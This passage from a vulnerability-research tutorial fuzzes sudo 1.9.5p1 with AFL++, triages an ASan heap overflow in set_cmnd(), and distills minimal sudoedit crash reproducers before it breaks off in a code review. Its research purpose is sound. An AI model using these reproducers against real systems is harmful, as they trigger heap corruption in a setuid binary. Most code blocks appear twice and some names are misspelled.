cd ~/fuzz/proj/sudo-1.9.5p1/src

# To install it to a local directory
mkdir -p ~/fuzz/proj/sudo-1.9.5p1/harness
./autogen.sh

# Configure AFLplusplus compiler and sanitizers:
CC=afl-clang-lto CXX=afl-clang-lto++ \
./configure --prefix=$HOME/fuzz/proj/sudo-1.9.5p1/harness --disable-shared --enable-static \
        	  CFLAGS="-fsanitize=address,undefined -g" \
          	LDFLAGS="-fsanitize=address,undefined -g" \
          	LIBS="-lcrypt"

In my setup environment, I will have to fix some compilation issues:

On some setups logsrvd/Makefile.in fails at link stage. Patch it like so at line 45:

Makefile

LT_LIBS = $(top_builddir)/lib/iolog/libsudo_iolog.la \
      	  $(top_builddir)/lib/eventlog/libsudo_eventlog.la \
      	  $(top_builddir)/lib/logsrv/liblogsrv.la \
      	  $(top_builddir)/lib/util/libsudo_util.la

LT_LIBS = $(top_builddir)/lib/iolog/libsudo_iolog.la \
      	  $(top_builddir)/lib/eventlog/libsudo_eventlog.la \
      	  $(top_builddir)/lib/logsrv/liblogsrv.la \
      	  $(top_builddir)/lib/util/libsudo_util.la

Now build with sanitizers + AFL instrumentation:

AFL_USE_ASAN=1 AFL_USE_UBSAN=1 LLVM_CONFIG=llvm-config-15 make -j$(nproc)
sudo make install

AFL_USE_ASAN=1 AFL_USE_UBSAN=1 LLVM_CONFIG=llvm-config-15 make -j$(nproc)
sudo make install

Resulting harness binaries land here:

$ ls -lh  ~/fuzz/proj/sudo-1.9.5p1/harness/bin
-rwxr-xr-x 1 root root 1.2M Aug  1 21:07 cvtsudoers
-rwsr-xr-x 1 root root 2.8M Aug  1 21:07 sudo
lrwxrwxrwx 1 root root    4 Aug  1 21:07 sudoedit -> sudo
-rwxr-xr-x 1 root root 625K Aug  1 21:07 sudoreplay

$ ls -lh  ~/fuzz/proj/sudo-1.9.5p1/harness/bin
-rwxr-xr-x 1 root root 1.2M Aug  1 21:07 cvtsudoers
-rwsr-xr-x 1 root root 2.8M Aug  1 21:07 sudo
lrwxrwxrwx 1 root root    4 Aug  1 21:07 sudoedit -> sudo
-rwxr-xr-x 1 root root 625K Aug  1 21:07 sudoreplay

3.4. Harness Validation

A small strict: insert a debug print inside main() to show argv[0] after AFL initialization before build:

After integrating AFL-style instrumentation, we no longer pass arguments directly. Inputs must be NUL-separated argv buffers (\0 between args, \0\0 at the end).

Example input file:

echo -ne 'sudo\0-l\0\0' | tee test_input

echo -ne 'sudo\0-l\0\0' | tee test_input

Run through the harness:

cat test_input | harness/bin/sudo

cat test_input | harness/bin/sudo

This transforms into:

argv[0] = "sudoedit"   // hardcoded by AFL_INIT_SET0()
argv[1] = "-l"
argv[2] = NULL

argv[0] = "sudoedit"   // hardcoded by AFL_INIT_SET0()
argv[1] = "-l"
argv[2] = NULL

If we previously create the harness using AFL_INIT_SET0("sudoedit"), even if we supply "sudo" as the first argument (argv[0]) in this input file, the output remains as "sudoedit":

This helps us control which code paths get fuzzed, just by changing the string parameter inside AFL_INIT_SET0(_p).

Additionally, no password prompt appears—instead, auth fails instantly (as intended, thanks to our patched verify_user()):

int verify_user(...) {
    return false;
    ...
}

int verify_user(...) {
    return false;
    ...
}

Trace it with strace to confirm:

strace -e trace=write ./harness/bin/sudo < test_input

strace -e trace=write ./harness/bin/sudo < test_input

We see silent error writes to stderr — proof that auth short-circuits properly.

Finally, run the harness with afl-showmap to show which code paths (edges) are hit after instrumentation:

AFL_DEBUG=1 afl-showmap -q -o /dev/null -- harness/bin/sudo < test_input

AFL_DEBUG=1 afl-showmap -q -o /dev/null -- harness/bin/sudo < test_input

Now that our harness is functional, we need to feed it a corpus — a set of initial input files that AFL++ will mutate to explore different execution paths.

4. Corpus

A fuzzer is only as good as its ammo. The seed corpus gives AFL++ the launchpad it needs — valid and semi-valid sudo inputs that exercise real parsing logic instead of just crashing into usage().

4.1. Corpus Format

Since we're fuzzing with AFL's argv mode, each input file must encode arguments as NUL-separated strings, ending in a double NUL (\0\0).

Example:

echo -ne 'sudo\0-l\0\0' > sudo_list

echo -ne 'sudo\0-l\0\0' > sudo_list

It equals to sudo -l in AFL encoded hex format:

$ xxd -g1 sudo_list
00000000: 73 75 64 6f 00 6c 00 00                          sudo.l..

$ xxd -g1 sudo_list
00000000: 73 75 64 6f 00 6c 00 00                          sudo.l..

Empty arguments are encoded with AFL's special sequence \x02\x00, for example:

echo -ne 'sudo\0-s\0\x02\x00\0\0' > sudo_empty

echo -ne 'sudo\0-s\0\x02\x00\0\0' > sudo_empty

Yields:

argv[0] = "sudo"
argv[1] = "-s"
argv[2] = ""       // the empty argument
argv[3] = NULL     // terminating null

argv[0] = "sudo"
argv[1] = "-s"
argv[2] = ""       // the empty argument
argv[3] = NULL     // terminating null

4.2. Seed Corpus

To build a diverse seed set, we start from sudo -h and sudoedit -h, harvesting their option space:

$ ./sudo -h
sudo - execute a command as another user

usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] file ...

Options:
  -A, --askpass                 use a helper program for password prompting
  -b, --background              run command in the background
  -B, --bell                    ring bell when prompting
  -C, --close-from=num          close all file descriptors >= num
  -D, --chdir=directory         change the working directory before running command
  -E, --preserve-env            preserve user environment when running command
      --preserve-env=list       preserve specific environment variables
  -e, --edit                    edit files instead of running a command
  -g, --group=group             run command as the specified group name or ID
  -H, --set-home                set HOME variable to target user's home dir
  -h, --help                    display help message and exit
  -h, --host=host               run command on host (if supported by plugin)
  -i, --login                   run login shell as the target user; a command may also be specified
  -K, --remove-timestamp        remove timestamp file completely
  -k, --reset-timestamp         invalidate timestamp file
  -l, --list                    list user's privileges or check a specific command; use twice for longer format
  -n, --non-interactive         non-interactive mode, no prompts are used
  -P, --preserve-groups         preserve group vector instead of setting to target's
  -p, --prompt=prompt           use the specified password prompt
  -R, --chroot=directory        change the root directory before running command
  -S, --stdin                   read password from standard input
  -s, --shell                   run shell as the target user; a command may also be specified
  -T, --command-timeout=timeout terminate command after the specified time limit
  -U, --other-user=user         in list mode, display privileges for user
  -u, --user=user               run command (or edit file) as specified user name or ID
  -V, --version                 display version information and exit
  -v, --validate                update user's timestamp without running a command
  --                            stop processing command line arguments
  
$ sudoedit -h
sudoedit - edit files as another user

usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Options:
... (basically same as sudo options)

$ ./sudo -h
sudo - execute a command as another user

usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user] file ...

Options:
  -A, --askpass                 use a helper program for password prompting
  -b, --background              run command in the background
  -B, --bell                    ring bell when prompting
  -C, --close-from=num          close all file descriptors >= num
  -D, --chdir=directory         change the working directory before running command
  -E, --preserve-env            preserve user environment when running command
      --preserve-env=list       preserve specific environment variables
  -e, --edit                    edit files instead of running a command
  -g, --group=group             run command as the specified group name or ID
  -H, --set-home                set HOME variable to target user's home dir
  -h, --help                    display help message and exit
  -h, --host=host               run command on host (if supported by plugin)
  -i, --login                   run login shell as the target user; a command may also be specified
  -K, --remove-timestamp        remove timestamp file completely
  -k, --reset-timestamp         invalidate timestamp file
  -l, --list                    list user's privileges or check a specific command; use twice for longer format
  -n, --non-interactive         non-interactive mode, no prompts are used
  -P, --preserve-groups         preserve group vector instead of setting to target's
  -p, --prompt=prompt           use the specified password prompt
  -R, --chroot=directory        change the root directory before running command
  -S, --stdin                   read password from standard input
  -s, --shell                   run shell as the target user; a command may also be specified
  -T, --command-timeout=timeout terminate command after the specified time limit
  -U, --other-user=user         in list mode, display privileges for user
  -u, --user=user               run command (or edit file) as specified user name or ID
  -V, --version                 display version information and exit
  -v, --validate                update user's timestamp without running a command
  --                            stop processing command line arguments
  
$ sudoedit -h
sudoedit - edit files as another user

usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...

Options:
... (basically same as sudo options)

Now that we've reviewed the supported sudo command-line options and confirmed that both sudo and sudoedit are accepted program names (via argv[0]), we can create a seed corpus with meaningful variations.

Build a minimal yet diverse set of seed inputs with the seed.sh:

#!/bin/bash

set -e

OUT_DIR=$HOME/fuzz/proj/sudo-1.9.5p1/seed
mkdir -p "$OUT_DIR"
cd "$OUT_DIR" || exit 1

# AFL corpus input generator
gen() {
  printf "%s" "$1" | tr ' ' '\0' | sed 's/$/\x00\x00/' > "$OUT_DIR/$2"
}

echo "[*] Generating corpus in: $OUT_DIR"

# === Dash options ===
gen "sudo -s"                     sudo_dash_opt
gen "sudo -u root"                sudo_dash_opt_arg
gen "sudo -u root whoami"         sudo_dash_opt_arg_cmd
gen "sudoedit -s"       		  sudoedit_dash_opt
gen "sudoedit -s target"		  sudoedit_dash_opt_arg
gen "sudedit -k root 123456"      sudoedit_dash_opt_arg_cmd

# === Double dash options ===
gen "sudo -- ls"                  sudo_dashdash_cmd
gen "sudo --shell"                sudo_dashdash_opt
gen "sudo --role root"            sudo_dashdash_opt_arg
gen "sudoedit -- /etc/shadows"    sudoedit_dashdash_cmd
gen "sudoedit --version"          sudoedit_dashdash_opt
gen "sudo --user root"            sudoedit_dashdash_opt_arg

# === Commands ===
gen "sudo ls"                     sudo_cmd
gen "sudo id root"                sudo_cmd_arg
gen "sudo sh -c id"               sudo_cmd_opt_arg
gen "sudoedit /etc/passwd"        sudoedit_file

# === Special cases ===
gen "sudo -"                      sudo_dash_only
gen "sudo --"                     sudo_dashdash_only
gen "sudoedit -"                  sudoedit_dash_only

echo "[+] Done generating $(ls -1 "$OUT_DIR" | wc -l) corpus inputs"

#!/bin/bash

set -e

OUT_DIR=$HOME/fuzz/proj/sudo-1.9.5p1/seed
mkdir -p "$OUT_DIR"
cd "$OUT_DIR" || exit 1

# AFL corpus input generator
gen() {
  printf "%s" "$1" | tr ' ' '\0' | sed 's/$/\x00\x00/' > "$OUT_DIR/$2"
}

echo "[*] Generating corpus in: $OUT_DIR"

# === Dash options ===
gen "sudo -s"                     sudo_dash_opt
gen "sudo -u root"                sudo_dash_opt_arg
gen "sudo -u root whoami"         sudo_dash_opt_arg_cmd
gen "sudoedit -s"       		  sudoedit_dash_opt
gen "sudoedit -s target"		  sudoedit_dash_opt_arg
gen "sudedit -k root 123456"      sudoedit_dash_opt_arg_cmd

# === Double dash options ===
gen "sudo -- ls"                  sudo_dashdash_cmd
gen "sudo --shell"                sudo_dashdash_opt
gen "sudo --role root"            sudo_dashdash_opt_arg
gen "sudoedit -- /etc/shadows"    sudoedit_dashdash_cmd
gen "sudoedit --version"          sudoedit_dashdash_opt
gen "sudo --user root"            sudoedit_dashdash_opt_arg

# === Commands ===
gen "sudo ls"                     sudo_cmd
gen "sudo id root"                sudo_cmd_arg
gen "sudo sh -c id"               sudo_cmd_opt_arg
gen "sudoedit /etc/passwd"        sudoedit_file

# === Special cases ===
gen "sudo -"                      sudo_dash_only
gen "sudo --"                     sudo_dashdash_only
gen "sudoedit -"                  sudoedit_dash_only

echo "[+] Done generating $(ls -1 "$OUT_DIR" | wc -l) corpus inputs"

This gives us ~20+ starting inputs:

4.3. Corpus Minimizer

(This is optional for our case.)

Raw seeds are fine, but redundant inputs waste fuzzing cycles. AFL++ ships with minimizers:

• afl-cmin → trims the whole corpus down to the smallest set that preserves coverage.
• afl-tmin → minimizes individual files.

Before running afl-*, better configure the system first:

Bash

sudo afl-system-config

sudo afl-system-config

Try corpus minimization:

afl-cmin -i seed/ -o in/ -- harness/bin/sudo

afl-cmin -i seed/ -o in/ -- harness/bin/sudo

File-by-file reduction:

mkdir -p in                 

for f in seed/*; do
    base=$(basename "$f")
    afl-tmin -i "$f" -o "in/$base" -- harness/bin/sudo
done

mkdir -p in                 

for f in seed/*; do
    base=$(basename "$f")
    afl-tmin -i "$f" -o "in/$base" -- harness/bin/sudo
done

Better than nothing:

5. Fuzzing

Our instrumented sudo now expects AFL-style argv[] input from stdin. That means fuzzing is as simple as:

afl-fuzz -i in/ -o tmp/ -- $HOME/fuzz/proj/sudo-1.9.5p1/harness/bin/sudo

afl-fuzz -i in/ -o tmp/ -- $HOME/fuzz/proj/sudo-1.9.5p1/harness/bin/sudo

Here, in/ contains our seed corpus (null-delimited argv files), and out/ is the fuzzer's crash + coverage stash.

5.1. Parallel Fuzzing

One AFL instance = one CPU core. To actually rip through paths, we need parallel fuzzing: multiple fuzzers working in sync, sharing a queue of test cases.

Pro tip: to speed up file I/O and avoid wearing out SSDs, we can place the output directory on a RAM-backed filesystem (tmpfs).

5.1.1. AFL Luancher

I use my own afl_launcher.py to spin up a cluster of AFL++ instances inside Tmux:

afl_launcher.py -i in/ -o out -debug -- ./harness/bin/sudo 

afl_launcher.py -i in/ -o out -debug -- ./harness/bin/sudo 

If you don't have a custom launcher, it's trivial to roll one (see Gamozolabs' scaling post).

This opens a curses-style master window plus silent slaves, burning all CPU cores like a distributed brute-force engine.

Other slave fuzzers are recorded by afl-whatsup:

5.1.2. Manual

AFL++ supports distributed fuzzing via the -M (master) and -S (slave) flags:

• Master (-M): does deterministic stages + queue pruning.
• Slaves (-S): skip deterministic stages, focus on raw speed.

Pin instances to cores with either taskset -c or AFL's -b binding option.

Master:

# Master pinned to core 0 using taskset -c
taskset -c 0 afl-fuzz -i in/ -o out -M m -- harness/bin/sudo

# Or, use AFL++ bind option
afl-fuzz -i in/ -o out -M m -b 0 -- harness/bin/sudo

# Master pinned to core 0 using taskset -c
taskset -c 0 afl-fuzz -i in/ -o out -M m -- harness/bin/sudo

# Or, use AFL++ bind option
afl-fuzz -i in/ -o out -M m -b 0 -- harness/bin/sudo

Slaves:

afl-fuzz -i in/ -o out -M s1 -b 1 -- harness/bin/sudo
afl-fuzz -i in/ -o out -M s2 -b 2 -- harness/bin/sudo
afl-fuzz -i in/ -o out -M s3 -b 3 -- harness/bin/sudo

afl-fuzz -i in/ -o out -M s1 -b 1 -- harness/bin/sudo
afl-fuzz -i in/ -o out -M s2 -b 2 -- harness/bin/sudo
afl-fuzz -i in/ -o out -M s3 -b 3 -- harness/bin/sudo

This runs 1 master + 3 slaves across cores 0–3.

Automated loop:

Bash

export ncpu=10	# Specify number of CPU we want to allocate

for i in $(seq 0 $ncpu); do
role=$([ $i -eq 0 ] && echo "-M m" || echo "-S s$i")
taskset -c $i afl-fuzz -i in/ -o out $role -- harness/bin/sudo > out/log_$i.txt 2>&1 &
done

export ncpu=10	# Specify number of CPU we want to allocate

for i in $(seq 0 $ncpu); do
role=$([ $i -eq 0 ] && echo "-M m" || echo "-S s$i")
taskset -c $i afl-fuzz -i in/ -o out $role -- harness/bin/sudo > out/log_$i.txt 2>&1 &
done

Verify with:

ps -o pid,psr,comm -C afl-fuzz

ps -o pid,psr,comm -C afl-fuzz

This shows which core each fuzzer is pinned to—no freeloaders.

5.2. Result

Total run time will be calculated accumulatively by master and all slave fuzzers:

5.2.1. Crashes

After hours of AFL++ hammering both sudo and sudoedit, the crash harvest came in. Unsurprisingly, sudoedit yielded far more interesting results — its argument parsing is fragile, and AFL loved poking it.

$ tree out

out
├── log_master_0.err
├── log_slave_1.err
├── log_slave_2.err
├── log_slave_3.err
├── log_slave_4.err
├── log_slave_5.err
├── log_slave_6.err
├── log_slave_7.err
├── master_0
│   ├── cmdline
│   ├── crashes
│   │   ├── id:000000,sig:06,src:000153,time:118435,execs:48008,op:havoc,rep:5
│   │   ├── id:000001,sig:06,src:000153,time:159190,execs:50795,op:havoc,rep:5
│   │   ├── id:000002,sig:06,src:000153,time:206612,execs:55008,op:havoc,rep:3
│   │   ├── id:000003,sig:06,src:000598,time:5496912,execs:115120,op:havoc,rep:1
│   │   ├── id:000004,sig:06,src:000598,time:5497094,execs:115277,op:havoc,rep:4
│   │   ├── id:000005,sig:06,src:000283,time:8289828,execs:175023,op:havoc,rep:9
│   │   └── README.txt
│   ├── fastresume.bin
│   ├── fuzz_bitmap
│   ├── fuzzer_setup
│   ├── fuzzer_stats
│   ├── hangs
│   │   ├── id:000000,src:000153,time:108895,execs:47304,op:havoc,rep:5
│   │   ├── id:000001,src:000153,time:117878,execs:47682,op:havoc,rep:8
│   │   ├── id:000002,src:000153,time:126817,execs:48181,op:havoc,rep:5
│   │   ...
│   ...
├── slave_1
│   ├── cmdline
│   ├── crashes
│   │   ├── id:000000,sig:06,src:000259,time:136526,execs:139505,op:havoc,rep:3
│   │   ├── id:000001,sig:06,src:000283,time:161925,execs:160135,op:havoc,rep:3
│   │   ├── id:000002,sig:06,src:000304,time:172998,execs:169905,op:havoc,rep:10
│   │   ├── id:000003,sig:06,src:000289,time:246233,execs:236175,op:havoc,rep:8
│   │   └── README.txt
│   ├── fastresume.bin
│   ├── fuzz_bitmap
│   ├── fuzzer_setup
│   ├── fuzzer_stats
│   ├── hangs
│   │   ├── id:000000,src:000395,time:273506,execs:258140,op:havoc,rep:2
│   │   ├── id:000001,src:000395,time:277634,execs:258147,op:havoc,rep:2
│   │   ├── id:000002,src:000395,time:285204,execs:259220,op:havoc,rep:1
│   │   ...
...

32 directories, 5794 files

$ tree out

out
├── log_master_0.err
├── log_slave_1.err
├── log_slave_2.err
├── log_slave_3.err
├── log_slave_4.err
├── log_slave_5.err
├── log_slave_6.err
├── log_slave_7.err
├── master_0
│   ├── cmdline
│   ├── crashes
│   │   ├── id:000000,sig:06,src:000153,time:118435,execs:48008,op:havoc,rep:5
│   │   ├── id:000001,sig:06,src:000153,time:159190,execs:50795,op:havoc,rep:5
│   │   ├── id:000002,sig:06,src:000153,time:206612,execs:55008,op:havoc,rep:3
│   │   ├── id:000003,sig:06,src:000598,time:5496912,execs:115120,op:havoc,rep:1
│   │   ├── id:000004,sig:06,src:000598,time:5497094,execs:115277,op:havoc,rep:4
│   │   ├── id:000005,sig:06,src:000283,time:8289828,execs:175023,op:havoc,rep:9
│   │   └── README.txt
│   ├── fastresume.bin
│   ├── fuzz_bitmap
│   ├── fuzzer_setup
│   ├── fuzzer_stats
│   ├── hangs
│   │   ├── id:000000,src:000153,time:108895,execs:47304,op:havoc,rep:5
│   │   ├── id:000001,src:000153,time:117878,execs:47682,op:havoc,rep:8
│   │   ├── id:000002,src:000153,time:126817,execs:48181,op:havoc,rep:5
│   │   ...
│   ...
├── slave_1
│   ├── cmdline
│   ├── crashes
│   │   ├── id:000000,sig:06,src:000259,time:136526,execs:139505,op:havoc,rep:3
│   │   ├── id:000001,sig:06,src:000283,time:161925,execs:160135,op:havoc,rep:3
│   │   ├── id:000002,sig:06,src:000304,time:172998,execs:169905,op:havoc,rep:10
│   │   ├── id:000003,sig:06,src:000289,time:246233,execs:236175,op:havoc,rep:8
│   │   └── README.txt
│   ├── fastresume.bin
│   ├── fuzz_bitmap
│   ├── fuzzer_setup
│   ├── fuzzer_stats
│   ├── hangs
│   │   ├── id:000000,src:000395,time:273506,execs:258140,op:havoc,rep:2
│   │   ├── id:000001,src:000395,time:277634,execs:258147,op:havoc,rep:2
│   │   ├── id:000002,src:000395,time:285204,execs:259220,op:havoc,rep:1
│   │   ...
...

32 directories, 5794 files

ASan confirmed it: classic heap-buffer-overflow triggered inside sudoedit:

5.2.2. Report Analysis

The crash trace points to set_cnmd:

==56190==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000e10
WRITE of size 1 at 0x603000000e10 thread T0
#0 0x555555834c7b in set_cmnd ...sudoers.c:976:13
#1 ...

==56190==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000e10
WRITE of size 1 at 0x603000000e10 thread T0
#0 0x555555834c7b in set_cmnd ...sudoers.c:976:13
#1 ...

The AddressSanitizer (ASan) report a classic heap-buffer-overflow.

The call stack clearly shows where program started → where it crashed:

#0 0x555555834c7b in set_cmnd ...src/plugins/sudoers/./sudoers.c:976:13
#1 0x555555834c7b in sudoers_policy_main ...src/plugins/sudoers/./sudoers.c:401:19
#2 0x555555803d25 in sudoers_policy_check ...src/plugins/sudoers/./policy.c:1028:11
#3 0x555555760787 in policy_check .../src/./sudo.c:1179:10
#4 0x555555759f29 in main .../src/./sudo.c:277:9
#5 0x7ffff65b0c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x555555644bf9 in _start (.../harness/bin/sudo+0xf0bf9) 

#0 0x555555834c7b in set_cmnd ...src/plugins/sudoers/./sudoers.c:976:13
#1 0x555555834c7b in sudoers_policy_main ...src/plugins/sudoers/./sudoers.c:401:19
#2 0x555555803d25 in sudoers_policy_check ...src/plugins/sudoers/./policy.c:1028:11
#3 0x555555760787 in policy_check .../src/./sudo.c:1179:10
#4 0x555555759f29 in main .../src/./sudo.c:277:9
#5 0x7ffff65b0c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x555555644bf9 in _start (.../harness/bin/sudo+0xf0bf9) 

The bad pointer came from a malloc call:

0x603000000e10 is located 0 bytes to the right of 32-byte region [0x603000000df0,0x603000000e10)
allocated by thread T0 here:
    #0 0x5555556c97de in malloc (.../harness/bin/sudo+0x1757de) 
    #1 0x55555582f634 in set_cmnd .../plugins/sudoers/./sudoers.c:960:36

0x603000000e10 is located 0 bytes to the right of 32-byte region [0x603000000df0,0x603000000e10)
allocated by thread T0 here:
    #0 0x5555556c97de in malloc (.../harness/bin/sudo+0x1757de) 
    #1 0x55555582f634 in set_cmnd .../plugins/sudoers/./sudoers.c:960:36

• The binary allocated 32 bytes at 0x603000000df0
• But then wrote to 0x603000000e10 → 1 byte past the end
• The malloc happened 16 lines before the crash, at line 960

ASAN - SHADOW MEMORY

ASan maps each 8 bytes of our application's memory to 1 byte in shadow memory. That 1 byte indicates whether the corresponding memory is:

• Fully addressable (00)
• Partially addressable (01 to 07)
• Unaddressable / poisoned (fa, fd, etc.)

This mapping lets ASan detect reads/writes to invalid regions like redzones, freed chunks, etc. In our sample output:

=>0x0c067fff81c0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa

=>0x0c067fff81c0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa

This line says:

• The application memory at 0x603000000e10 maps to shadow byte fa at 0x0c067fff81c2.
• [fa] means the first byte of unaddressable (poisoned) memory.
• Our overflow write hit this poisoned redzone → ASan traps it.

5.2.3. Payload Distillation

From the crash corpus:

$ cat out/master_0/crashes/id:000006,sig:06,src:000250,time:225178,execs:57059,op:havoc,rep:3
sduQagUtsufo-nki-o\doo"""do%                                    

$ xxd -g1 out/master_0/crashes/id:000006,sig:06,src:000250,time:225178,execs:57059,op:havoc,rep:3 
00000000: 73 7f 64 75 51 61 67 55 74 73 75 66 6f 00 2d 6e  s.duQagUtsufo.-n
00000010: 6b 69 00 01 00 2d 00 02 00 6f 00 02 00 5c 00 02  ki...-...o...\..
00000020: 00 02 64 6f 18 02 00 02 00 02 00 6f 00 02 00 22  ..do.......o..."
00000030: 22 22 02 02 64 6f 00 02 00 02 00                 ""..do.....

$ cat out/master_0/crashes/id:000006,sig:06,src:000250,time:225178,execs:57059,op:havoc,rep:3
sduQagUtsufo-nki-o\doo"""do%                                    

$ xxd -g1 out/master_0/crashes/id:000006,sig:06,src:000250,time:225178,execs:57059,op:havoc,rep:3 
00000000: 73 7f 64 75 51 61 67 55 74 73 75 66 6f 00 2d 6e  s.duQagUtsufo.-n
00000010: 6b 69 00 01 00 2d 00 02 00 6f 00 02 00 5c 00 02  ki...-...o...\..
00000020: 00 02 64 6f 18 02 00 02 00 02 00 6f 00 02 00 22  ..do.......o..."
00000030: 22 22 02 02 64 6f 00 02 00 02 00                 ""..do.....

Translation:

<argv[0]> -nki - o '\' junk_string \"\"\" junk_string 

<argv[0]> -nki - o '\' junk_string \"\"\" junk_string 

The first fuzzed argv[0] does not matter in our test—we stemmed it as "sudoedit" by the AFL_INIT_SET0("sudoedit") macro when collecting this bug sample. Pay attention to some special chars like \ or ", which might be the cause triggering unexpected errors.

Test to find out the collision command:

./install/bin/sudoedit -nki - o '\' somestringaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

./install/bin/sudoedit -nki - o '\' somestringaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

We can run it with the original non-modified sudoedit command to verify this crash without passing a correct password:

Same error achieved. Narrow down the payload scope, we reach a minimal affected version:

$ ./install/bin/sudoedit -i '\' somestringaaaaaaaaaaaaaaaaaaaaa
malloc(): memory corruption
[1]    63258 abort      ./install/bin/sudoedit -i '\' somestringaaaaaaaaaaaaaaaaaaaaa

$ ./install/bin/sudoedit -s '\' somestringaaaaaaaaaaaaaaaaaaaaa
malloc(): memory corruption
[1]    72593 abort      ./install/bin/sudoedit -s '\' somestringaaaaaaaaaaaaaaaaaaaaa

$ ./install/bin/sudoedit -i '\' somestringaaaaaaaaaaaaaaaaaaaaa
malloc(): memory corruption
[1]    63258 abort      ./install/bin/sudoedit -i '\' somestringaaaaaaaaaaaaaaaaaaaaa

$ ./install/bin/sudoedit -s '\' somestringaaaaaaaaaaaaaaaaaaaaa
malloc(): memory corruption
[1]    72593 abort      ./install/bin/sudoedit -s '\' somestringaaaaaaaaaaaaaaaaaaaaa

The heap corruption appears when sudoedit is invoked with -i or -s plus two extra args:

• The first being a literal backslash (\).
• The second being a sufficiently long string (≥10 bytes).

Minimal reproducer (for this stage):

sudoedit -i '\' aaaaaaaaaaa
sudoedit -s '\' aaaaaaaaaaa

sudoedit -i '\' aaaaaaaaaaa
sudoedit -s '\' aaaaaaaaaaa

At that point, set_cmnd() miscalculates buffer space and overruns malloc'd memory.

6. Bug Analysis

The ASan trace gave us the breadcrumbs:

#0 set_cmnd()              at sudoers.c:976
#1 sudoers_policy_main()   at sudoers.c:401
#2 sudoers_policy_check()  at policy.c:1028
#3 policy_check()          at sudo.c:1179
#4 main()                  at sudo.c:277

#0 set_cmnd()              at sudoers.c:976
#1 sudoers_policy_main()   at sudoers.c:401
#2 sudoers_policy_check()  at policy.c:1028
#3 policy_check()          at sudo.c:1179
#4 main()                  at sudo.c:277

We can replay the crash with a clean, debug-built binary:

./install/bin/sudoedit -i '\' aaaaaaaaaaaaaaaaa

./install/bin/sudoedit -i '\' aaaaaaaaaaaaaaaaa

This reliably detonates the heap overflow, so we can trace execution from main() all the way to the vulnerable set_cmnd().

6.1. Call Graphs

First take a look at the call graph of the vuln entry set_cmnd():

sudoers_policy_check() is called via policy_check() at sudo.c:1179:

This means sudoers_policy_check() was actually invoked, under one of the switch...case... loop branches. Outside the loop, we see policy_check() is actually calling a function pointer check_policy() within the policy_plugin global structure:

The call graph was broken because sudoers_policy_check() is actually a default implementation the check_policy() function pointer, initializing the policy_plugin global structure, which we will illustrate in the following static source code analysis.

6.2. Static Code Review

6.2.1. main

Ignoring libc scaffolding, the overflow chain starts at main(), defined in src/sudo.c at line 150. We already touched it when building the harness, but here's the annotated workflow relevant to the bug:

int 
main(int argc, char *argv[], char *envp[])
{
  ...
        
  // [0] Allowed program names
  const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL }; 
    
  ...
      
  // [1] First entry
  //     Parse command-line arguments - USER CONTROLLED
  sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
                         &settings, &env_add);

  ...

  // Workflow depend on flags
  switch (sudo_mode & MODE_MASK) {
      ...

      // Edit & run mode
      case MODE_EDIT:
      case MODE_RUN:
          // [2] Trampoline
          //     Execute some check by parsing arguments, env, etc. - USER CONTROLLED
          policy_check(nargc, nargv, env_add,
                       &command_info, &argv_out, &user_env_out);
          ...

int 
main(int argc, char *argv[], char *envp[])
{
  ...
        
  // [0] Allowed program names
  const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL }; 
    
  ...
      
  // [1] First entry
  //     Parse command-line arguments - USER CONTROLLED
  sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
                         &settings, &env_add);

  ...

  // Workflow depend on flags
  switch (sudo_mode & MODE_MASK) {
      ...

      // Edit & run mode
      case MODE_EDIT:
      case MODE_RUN:
          // [2] Trampoline
          //     Execute some check by parsing arguments, env, etc. - USER CONTROLLED
          policy_check(nargc, nargv, env_add,
                       &command_info, &argv_out, &user_env_out);
          ...

Key takeaways:

• Step [1]: parse_args() processes argv/env — this is our attacker's entry point.
• Step [2]: For modes MODE_EDIT and MODE_RUN, execution jumps into policy_check(), handing off the still-controlled arguments.
• This path is exactly what sudoedit -s '\' <payload> triggers, funneling malicious input deep into the policy plugin.

In short: main() parses argv, sets mode to MODE_EDIT, and then punts our controlled data into policy_check() — the trampoline that ultimately lands in the buggy set_cmnd().

6.2.2. parse_args

The first real user-controlled entrypoint is parse_args():

sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
                       &settings, &env_add);

sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
                       &settings, &env_add);

This routine decides the execution mode (MODE_EDIT, MODE_RUN, etc.), rewrites argv into a normalized nargv, and sets option flags. Essentially: this function dictates which plugin trampoline we'll hit later.

Target mode: we want sudo_mode → MODE_EDIT or MODE_RUN (for now), because those fall through to:

